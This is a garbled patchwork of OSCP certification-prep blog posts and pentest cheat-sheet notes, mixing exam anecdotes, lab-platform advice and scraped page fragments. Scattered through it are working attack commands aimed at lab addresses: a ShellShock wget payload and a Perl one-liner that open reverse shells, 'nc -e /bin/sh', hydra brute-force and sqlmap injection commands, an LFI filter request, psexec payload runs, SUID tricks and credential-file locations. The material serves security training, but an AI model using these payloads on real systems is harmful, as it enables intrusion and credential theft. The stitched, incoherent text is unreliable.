This came in handy during my exam experience. The following command should be run on the server. host -t ns foo.org Please note that some of the techniques described are illegal if you are not authorized to use them on the target machine. I started HackTheBox exactly one year ago (2020) after winning an HTB VIP subscription in Nova CTF 2019. (((S'{0}' wpscan -u 10.11.1.234 --wordlist /usr/share/wordlists/rockyou.txt --threads 50, enum4linux -a 192.168.110.181 will do all sort of enumerations on samba, From http://www.tldp.org/HOWTO/SMB-HOWTO-8.html You can generate the public key from the private key, and it will reveal the username: sudo ssh-keygen -y -f secret.decoded > secret.pub. Dont forget to work through the client and sandbox AD domains. I completed over, Visualisation of me overthinking buffer overflows before I had even tried it. I have left VHL as the fourth step due to its offering and higher price compared to others thus far. Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which dont support the -e option. Total: 6 machines. It will just help you take a rest. Unshadow passwd shadow>combined, Always run ps aux: I felt comfortable with the machines after solving around 5560 machines from Tjnull Hackthebox List, therefore I switched to PWK Labs. psexec.exe -s cmd, post/windows/gather/credentials/gpp Meterpreter Search GPP, Compile I thank Secarmy(now dissolved into AXIAL), Umair Nehri, and Aravindha Hariharan. Http site nikto -h dirbuster / wfuzz Burp One for completing 20 machines and another for completing 10 Advanced+ machines including two manual exploitation examples. Before starting, it will be helpful to read through the, on the lab structure and use the recommended, . Created a recovery point in my host windows as well. machines and achieved VHL Advanced+ in under three weeks. In mid-February, after 30 days into the OSCP lab, I felt like I can do it. Privacy Policy. psexec -u alice -p alicei123 C:\HFS\shellm80c.exe. Because of this I recommend documenting the exercises alongside the lab report containing details of how you exploited at least 10 lab machines earning you 5 bonus points in the exam. THM offer a Complete Beginner and an Offensive Pentesting (more in line with HTB) pathway with an advertised completion time of 28 and 47 hours . Throughout this journey you will fall down many rabbit holes and dig deeper in an attempt to avoid the embarrassment of a complete U-turn. Of course, when I started pwning machines a year ago, things werent going exactly as I planned. It is important to mention the actual day to day work of a Penetration Tester differs greatly and online lab environments can only emulate a penetration test to such an extent. I took a 30 minutes break and had my breakfast. I practiced OSCP like VM list by TJNull. offers machines created by Offensive Security and so the approach and methodology taught is very much in line with the OSCP. Offsec Proving Grounds Practice now provides walkthroughs for all boxes Offsec updated their Proving Grounds Practice (the paid version) and now has walkthroughs for all their boxes. Looking back on this lengthy post, this pathway is somewhat a modest overkill. I took only a 1-month subscription, spent about 15 days reading the PDF and solving exercises (which were worth 10 additional points), leaving me with only 15 days to complete the labs. Spend hours looking at the output of privilege escalation enumeration scripts to know which are common files and which arent. Practice using some the tools such as PowerView and BloodHound to enumerate Active Directory. . In this blog I explained how I prepared for my Exam and some of the resources that helped me pass the Exam, /* This stylesheet sets the width of all images to 100%: */ I will always try to finish the machine in a maximum of 2 and half hours without using Metasploit. Scan ports, scan all the ports, scan using different scanning techniques, brute force web dirs, brute force web dirs using different wordlist and tools. I did not use these but they are very highly regarded and may provide you with that final push. python -c 'import pty; pty.spawn("/bin/bash")', Find writable files for user: nc -e /bin/sh 10.0.0.1 1234 Respect your procotors. Overall, I have been a passive learner in Infosec for 7+ years. I took another hour to replicate all the exploits, retake screenshots, check if I have the necessary screenshots, and ended the exam. However since you are reading this post I am sure you have pondered over this journey many a time and are close to committing. A more modern alternative to Metasploitable 2 is TryHackMe (8/pm) which features a fully functioning Kali Linux instance all in your browser (this is great for starting out but once you move to the next stages you will need your own virtual machine). I tested this service briefly but opted to use Proving Grounds instead. THM offer a. If you are fluent in programming languages (Java, .NET, JavaScript, C, etc.) This machine also offered a completely new type of vulnerability I had not come across before. Having the extra 5 bonus points could come in very handy if this is your predicament. Thanks for your patience,I hope you enjoyed reading. If it comes, it will be a low privilege vector that will necessitate privilege escalation to achieve the full 20 points. BE sure to remember that they are humans, not bots lol. It gave me a confined amount of information which was helpful for me in deciding which service to focus on and ignore. to use Codespaces. https://support.microsoft.com/en-us/help/969393/information-about-internet-explorer-versions, PE (switch admin user to NT Authority/System): connect to the vpn. Finally, I thank all the authors of the infosec blogs which I did and didnt refer to. This is intended to be a resource where learners can obtain small nudges or help while working on the PWK machines. Thank god, the very first path I choose was not a rabbit hole. whilst also improving your scripting skillsit takes time but its worth it! Simply put, a buffer overflow occurs when inputted data occupies more space in memory than allocated. I just kept watching videos, reading articles and if I come across a new technique that my notes dont have, Ill update my notes. Reddit and its partners use cookies and similar technologies to provide you with a better experience. So, I discarded the autorecon output and did manual enumeration. [*] 10.11.1.5:445 - Uploading payload ShgBSPrh.exe. After this, I took a months break to sit my CREST CPSA and then returned to work a little more on HTB. webserver version, web app version, CMS version, plugin versions, The default password of the application / CMS, Guess the file location incase of LFI with username, username from any notes inside the machine might be useful for Bruteforce. I highly recommend solving them before enrolling for OSCP. A key skill that Pen Testers acquire is problem solvingthere are no guides when you are running an actual Pen Test. root@kali: ~/VulnHub/oscpPrep # ssh -i newssh-key oscp@192.168.5.221 Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.-40-generic x86_64 If you have made it this far Congratulations the end is near! S'{1}' With the help of nmap we are able to scan all open tcp portsStarting with the port number 80 which is http, [][root@RDX][~] #nikto --url http://192.168.187.229, [root@RDX][~] #chmod 600 secret.txt, [root@RDX][~] #ssh -i secret.txt oscp@192.168.187.229. Privilege escalation is 17 minutes. It will try to connect back to you (10.0.0.1) on TCP port 6001. zip all files in this folder I would recommend purchasing at least 60 days access which should be enough time to complete the exercises and work through a significant amount of the machines (depending on your circumstances). Other than AD there will be 3 independent machines each with 20 marks. I felt like there was no new learning. The VPN is slow, I cant keep my enumeration threads high because it breaks the tool often and I had to restart from the beginning. I didnt feel like pwning any more machines as I have almost completed TJNulls list. Sar (vulnhub) Walkthrough | OSCP like lab | OSCP prep Hello hackers,First of all I would like to tell you this is the first blog i am writing so there can be chances of mistake so please give. The info-graph they show emphasises that the more machines you complete in PWK, the more likely you are to pass (who would have thought). Pasted the 4 IPs (excluding BOF) into targets.txt and started with, autorecon -t targets.txt only-scans-dir, While that was running, I started with Buffer Overflow like a typical OSCP exam taker. My second attempt was first scheduled to be taken back in November 2020 soon after my first. He also offers three free rooms on Try Hack Me covering, Web Security AcademyThis is a free educational resource made by the creators of Burp Suite. In the registry under HKEY_LOCAL_MACHINE\SAM find / -writable -type f 2>/dev/null | grep -v ^/proc. I sincerely apologize to Secarmy for wasting their 90 days lab , Whenever I tackle new machines, I did it like an OSCP exam. Now that it's been identified, it seems the AV on Alice doesn't like me at all. At first, I cycled through 20 of the Easy rated machines using walkthroughs and watching ippsec videos. Go for low hanging fruits by looking up exploits for service versions. # on windows target, %systemroot%\system32\config - c:\Windows\System32\Config\, %systemroot%\repair (but only if rdisk has been run) - C:\Windows\Repair. Well yeah, you cant always be lucky to spot rabbit holes. Cookie Notice Escalated privileges in 30 minutes. at http://192.168.0.202/ in this example), we see it is a WordPress blog and the post there says: Use the username with the OpenSSH Private Key: sudo ssh -i secret.decoded oscp@192.168.0.202. You must spend 1.5 hours on a target machine before hints/walkthroughs are unlocked. check for file permissions, check for registry entries, check for writable folders, check for privileged processes and services, check for interesting files. I scheduled my exam for February 23, 2022, and passed it successfully in my first attempt. 6_shell.py. An understanding of basic scripting will be helpful, you do not need to be able to write a script off the top of your head. Hehe. Based on my personal development if you can dedicate the time to do the above, you will be in a very good position to pass the OSCP on your. VulnHub Box Download - InfoSec Prep: OSCP As I went through the machines, I wrote writeups/blogs on how . Ill go over what I did before enrolling for the OSCP that made me comfortable in going through PWK material and Labs. #include , //setregit(0,0); setegit(0); in case we have only euid set to 0. 24 reverts are plenty enough already. My primary source of preparation was TJ_Null's list of Hack The Box OSCP-like VMs shown in the below image. I had no idea where to begin my preparation or what to expect on the Exam at the moment. The excess data may overwrite adjacent memory locations, potentially altering the state of the application. Because the writeups of OSCP experience from various people had always taught me one common thing, Pray for the Best, Prepare for the Worst and Expect the Unexpected. These machines often have numerous paths to root so dont forget to check different walkthroughs! As root, change owner to root:root and permission to 4755. It would have felt like a rabbit hole if I didnt have the enumeration results first on-hand. My best ranking in December 2021 is 16 / 2147 students. However, despite not being dependant on the bonus 5 points for my exam pass, I am glad I went through the ordeal as it offers a good insight into Active Directory and helps to introduce you to topics that you may have otherwise overlooked such as pivoting and client side attacks. *' -type l -lname "*network*" -printf "%p -> %l\n" 2> /dev/null, MySql supports # for commenting on top of , Find text recursively in files in this folder, grep -rnwl '/path/to/somewhere/' -e "pattern", wpscan --url https://192.168.1.13:12380/blogblog/ --enumerate uap, ShellShock over http when you get response from cgi-bin which have server info only, wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.11.0.235\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' 2>&1" http://10.11.1.71/cgi-bin/admin.cgi, cewl http://10.11.1.39/otrs/installer.pl>>cewl, Wordpress password crack - https://github.com/micahflee/phpass_crack - see .251, cat /usr/share/wordlists/rockyou.txt | python /root/labs/251/phpass_crack-master/phpass_crack.py pass.txt -v, it seems john does a better job at php password cracking when using a wordlist The best approach to complete is to solve with someone you know preparing for the same (if you are struggling to find someone, then use Infosec prep and Offensive Security Discord server to find many people preparing for OSCP and various other certifications). Luck is directly proportional to the months of hard work you put, Created a targetst.txt file. At first you will be going through ippsec videos and guides but eventually you will transition away from walkthroughs and work through machines on your own. [*] 10.11.1.5:445 - Created \ShgBSPrh.exe [*] 10.11.1.5:445 - Deleting \ShgBSPrh.exe [*] 10.11.1.5 - Meterpreter session 9 closed. I went down a few rabbit holes full of false hope but nothing came of it. You could perhaps remove the PG Play machines as they are more CTF-like but I found those machines to be the most enjoyable. Coming back in some time I finally established a foothold on another machine, so had 80 points by 4 a.m. in the morning; I was even very close to escalating the privileges but then decided to solve AD once again and take some missing screenshots. The general structure that I used to complete Buffer Overflows: 1_crash.py }, Hello there, I wanted to talk about how I passed OSCP new pattern, which includes Active Directory in the exam. Sometimes, an abundance of information from autorecon can lead you to the rabbit hole. As a result, I decided to buy a subscription . My layout can be seen here but tailor it to what works best for you. Pwned 50100 vulnhub machines. View my verified achievement here: https://www.youracclaim.com/badges/0dc859f6-3369-48f8-b78a-71895c3c6787/public_url. Also, subscribe to my Youtube channel, where I will begin posting security-related videos. I first saw the autorecon output and was like, Damn, testing all these services gonna cost me a day. This is the process that I went through to take notes, and I had more than enough information to write my report at the end. Now reboot the virtual machine. following will attempt zone transfer We always start with network scanning, Lets find the target IP address by running netdiscover. note that some of the techniques described are illegal Recent OSCP Changes (Since Jan 2022) The exam pattern was recently revised, and all exams after January 11, 2022 will follow the new pattern. Run the ExploitDB script but set the Interface address as the target IP and port to 8081. We highly encourage you to compromise as many machines in the labs as possible in order to prepare for the OSCP exam. First things first. By accepting all cookies, you agree to our use of cookies to deliver and maintain our services and site, improve the quality of Reddit, personalize Reddit content and advertising, and measure the effectiveness of advertising. I forgot that I had a tool called Metasploit installed even when I was extremely stuck because I never used that during my preparation. Beginner and Advanced machines offer hints whereas you are expected to challenge yourself on the Advanced+ machines. Nonetheless I had achieved 25 + 10 + 20 + 10(user) + 10(user) + 5 (bonus) = 80. This will help you to break down the script and understand exactly what it does. Its just an exam. Having passed I have now returned to THM and I actually really like their service. I strongly advise you to read the official announcement if you are unfamiliar with the new pattern. Because, in one of the OSCP writeups, a wise man once told. If youve made it this far, youre probably interested in the certification, therefore I wish you Goodluck on your OSCP journey. 2_pattern.py The OSCP certification exam simulates a live network in a private VPN . HackTheBox for the win. The fix: while studying for N+ you know you will get a handful of questions about port numbers), albeit for the buffer overflow. You can find all the resources I used at the end of this post. it will be of particular advantage in pursuing the. So, I highly suggest you enumerate all the services and then perform all the tests. I scheduled my exam to start at 5.30 A.M. Because I wanted to finish the exam in 24 hours without wasting time for sleep (although people say sleep is crucial, I wanted to finish it off in one run and sleep with peace). My OSCP 2020 Journey A quick dump of notes and some tips before I move onto my next project. The location of the flag is indicated on VulnHub: but we do not know the password, since we logged in using a private key instead. Before we go any further, lets discuss the recent OSCP exam changes. One year, to be accurate. I have seen writeups where people had failed because of mistakes they did in reports. For this reason I have left this service as the final step before PWK. http://10.11.1.24/classes/phpmailer/class.cs_phpmailer.php?classes_dir=php://filter/convert.base64-encode/resource=../../../../../var/www/image.php%00, wpscan --url http://192.168.110.181:69 --enumerate u By this stage, I had completed around 30 HTB machines and I dived into PWK. Are you sure you want to create this branch? Heres my Webinar on The Ultimate OSCP Preparation Guide. Discussion of "=" used as "padding" in Base64: Or you could use an online Base63 decoder like: We need the username to do that. Einstein is apparently quoted to have said, Insanitydoing the same thing over and over again and expecting a different result. ps afx for graphical parent id. john --wordlist=/root/rockyou.txt pass.txt, echo gibs@noobcomp.com:$P$BR2C9dzs2au72.4cNZfJPC.iV8Ppj41>pass.txt, echo -n 666c6167307b7468655f717569657465 |xxd -r -p. PUT to webserver: Each path offers a free introduction. In that period, I was able to solve approximately 3540 machines. Apr 20 - 26, 2020: replicated all examples and finished exercises of BoF exploits in PWK (then decided to take OSCE right after OSCP). dnsenum foo.org VHL offers 40+ machines with a varying degree of difficulty that are, CTF-like. To check run ./ id, http://www.tldp.org/HOWTO/SMB-HOWTO-8.html, https://github.com/micahflee/phpass_crack, http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, http://www.geoffchappell.com/studies/windows/shell/explorer/history/index.htm, https://support.microsoft.com/en-us/help/969393/information-about-internet-explorer-versions, When searching for exploit search with CVE, service name (try generic when exact is not found). It would be worth to retake even if I fail. Happy Hacking, Practical Ethical Hacking The Complete-Course, Some of the rooms from tryhackme to learn the basics-. But I decided to schedule the exam after this. nmap --script all , cewl www.megacorpone.com -m 6 -w mega-cewl.txt, john --wordlist=mega-cewl.txt --rules --stdout > mega-mangled, hydra -l garry -F -P /usr/share/wordlists/rockyou.txt 10.11.1.73 -s 8080 http-post-form "/php/index.php:tg=login&referer=index.php&login=login&sAuthType=Ovidentia&nickname=^USER^&password=^PASS^&submit=Login:F=Failed:H=Cookie\: OV3176019645=a4u215fgf3tj8718i0b1rj7ia5", http-post-form ::F=, hydra -l root -P /root/rockyou.txt 10.11.1.71 ssh, sqlmap -u http://192.168.1.15:8008/unisxcudkqjydw/vulnbank/client/login.php --method POST --data "username=1&password=pass" -p "username,password" --cookie="PHPSESSID=crp8r4pq35vv0fm1l5td32q922" --dbms=MySQL --text-only --level=5 --risk=2, sqlmap -u "http://192.168.203.134/imfadministrator/cms.php?pagename=upload" --cookie="PHPSESSID=1im32c1q8b54vr27eussjjp6n2" -p pagename --level=5 --risk=3 -a, cut -c2- cut the first 2 characters Figure out dns server: OSCP 01/03/2020: Start my journey Mar 01 - 08, 2020: rooted 6 machines (Alice, Alpha, Mike, Hotline, Kraken, Dotty) & got low shell 3 machines (Bob, FC4, Sean). Breaks are helpful to stop you from staring at the screen when the enumeration scripts running. In this article, we will see a walkthrough of an interesting VulnHub machine called INFOSEC PREP: OSCP, https://www.vulnhub.com/entry/infosec-prep-oscp,508/. Follow the attached, ) and goes through several key exploits (, Whilst working through Metasploitable you can also follow along parts of the, A more modern alternative to Metasploitable 2 is, (8/pm) which features a fully functioning Kali Linux instance all in your browser (this is great for starting out but once you move to the next stages you will need your own virtual machine). Once the above is done do not turn a blind eye to Buffer Overflows, complete one every week up until your exam. 4_badcharacters.py This cost me an hour to pwn. list below (Instead of completing the entire list I opted for a change in service). Exactly a year ago (2020), I pwned my first machine in HTB. I made the mistake of going into PWK with zero understanding of buffer overflows, I simply dreaded it and tried to put it off till the very end. You could well jump straight from HTB to PWK and pass the OSCP but there is still a lot to learn from the other platforms which will help to solidify your methodology. Before we start I want to emphasise that this is a tough programme. I generally used to solve the walkthroughs room in various categories. connect to the vpn. Trust me, testing all your techniques may take 30 minutes hardly if youre well-versed but a full-scale enumeration in that slow VPN will take you hours. From then, I actively participated in CTFs. Bruh, I got a shell in 10 minutes after enumerating properly I felt like I was trolled hard by the Offsec at this point. Youre gonna try to hack into an intentionally vulnerable machine that is vulnerable to a specific exploit. But I never gave up on enumerating. DO NOT UNDERRATE THIS MACHINE! This is a walk-through of how to exploit a computer system. Machine Walkthroughs Alice with Siddicky (Student Mentor) Offensive Security 14.1K subscribers Subscribe 11K views 10 months ago Join Siddicky, one of our Student Mentors in a walkthrough on. Dont forget to complete the path to the web app. Or you could visit the URL from the wget command in a browser. sign in In this article, we will see a walkthrough of an interesting VulnHub machine called INFOSEC PREP: OSCP With the help of nmap we are able to This is the trickiest machine I had ever seen. First things first. find / -perm +2000 -user root -type f 2>/dev/null Its not like if you keep on trying harder, youll eventually hack the machine. I knew that it was crucial to attaining the passing score. So learn as many techniques as possible that you always have an alternate option if something fails to produce output. The buffer overflow took longer than I anticipated2h:15m due to small errors along the way and I had to overcome an error message I had not previously encountered. [*] 10.11.1.5:445 - Created \ILaDAMXR.exe [+] 10.11.1.5:445 - Service started successfully [*] Sending stage (175174 bytes) to 10.11.1.5. How I cracked Secarmys OSCP challenge and won the OSCP lab voucher for free. Crunch to generate wordlist based on options. New skills cant be acquired if you just keep on replicating your existing ones. Get comfortable with them. Using the 'oscp' username and my 'secret' key, I connected successfully to the box! #include I even had RedBull as a backup in case if too-much coffee goes wrong Thank god it didnt and I never had to use RedBull. Apr 27 - May 03, 2020: watched PWK videos & Udemy courses on Windows privesc, started writing my own cheatsheet. To avoid spoilers, we only discussed when we had both solved individually. The exam pattern was recently revised, and all exams after January 11, 2022 will follow the new pattern. Also try for PE. in the background whilst working through the buffer overflow. There is also a great blog on Attacking Active Directory that you should check out. However the PWK PDF has a significant module on it and you should definitely go through it and pivot into the different networks. for new students which will hopefully provide you with a far more pleasant experience than I had (it was like being thrown into the deep end without knowing how to swim properly). I've tried multiple different versions of the reverse shell (tried metasploit and my own developed python script for EB). Rename the current ip script, create a new one and make it executable: cd /home/oscp/ mv ip ip.old touch ip chmod +x ip. By rejecting non-essential cookies, Reddit may still use certain cookies to ensure the proper functionality of our platform. Instead Offsec will present you vulnerabilities they know you have not exploited before. OSCP preparation, lab, and the exam is an awesome journey where you will experience lots of excitement, pain, suffering, frustration, confidence, and motivation where learning will be constant throughout the journey. The only hurdle I faced in OSCP is the same issue that we face on HackTheBox. Back when I began my journey there were numerous recommendations for different platforms for various reasonsall of which proved to be rather confusing. Google bot: The box is considered an easy level OSCP machine. Now I had 70 points (including bonus) to pass the Exam so I took a long break to eat dinner and a nap. . So, in order to prepare for Active Directory, I rescheduled my lab from December 5 to December 19, giving me 15 days to prepare. Provinggrounds. We used to look at other blogs and Ippsec videos after solving to get more interesting approaches to solve. You can also browse through their large catalog of machines choosing from walkthroughs or traditional Capture The Flag challenges without requiring a subscription. net use z: \\10.11.0.235\oscp\, https://www.iodigitalsec.com/2013/08/10/accessing-and-hacking-mssql-from-backtrack-linux/, Once in, look for clues in current dir and user home dir, If you find both passwd and shadow you can use unshadow to combine them and then run john: Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10): Heres a shorter, feature-free version of the perl-reverse-shell: perl -e 'use Socket;$i="10.11.0.235";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'. https://drive.google.com/drive/folders/17KUupo8dF8lPJqUzjObIqQLup1h_py9t?usp=sharing. I used the standard report template provided by offsec. Youre not gonna pentest a real-world machine. Complete one or two Buffer Overflows the day before your exam. Take a break to calm down and reset your thoughts if youre stuck somewhere and dont know what to do. Because I had a few years of experience in application security from the bug bounty programs I participated in, I was able to get the initial foothold without struggle in HTB machines. Before undertaking the OSCP journey, I had heard a few times about HackTheBox. My only dislike was that too many of the easier machines were rooted using kernel exploits. Once I got the initial shell, then privilege escalation was KABOOM! That way, even if things go wrong, I just have to stay awake till maybe 23 a.m to know if I can pass or not, and not the whole night. wifu and successfully passed the exam! Just follow the steps in: https://medium.com/@minix9800/exploit-eternal-blue-ms17-010-for-windows-xp-with-custom-payload-fabbbbeb692f Another interesting post about MS17-010: https://medium.com/@minix9800/exploit-eternal-blue-ms17-010-for-window-7-and-higher-custom-payload-efd9fcc8b623 More posts you may like r/DataHoarder The OSCP certification will be awarded on successfully cracking 5 machines in 23.45 hours. I've had a frustrating experience identifying the correct exploit due to the extremely low success rate i've been experiencing with 08 and EB. ps -f ax for parent id Though it seems like I completed the exam in ~9 hours and 30 minutes, I cant neglect the break hours as the enumeration scripts have been constantly running during all the breaks.
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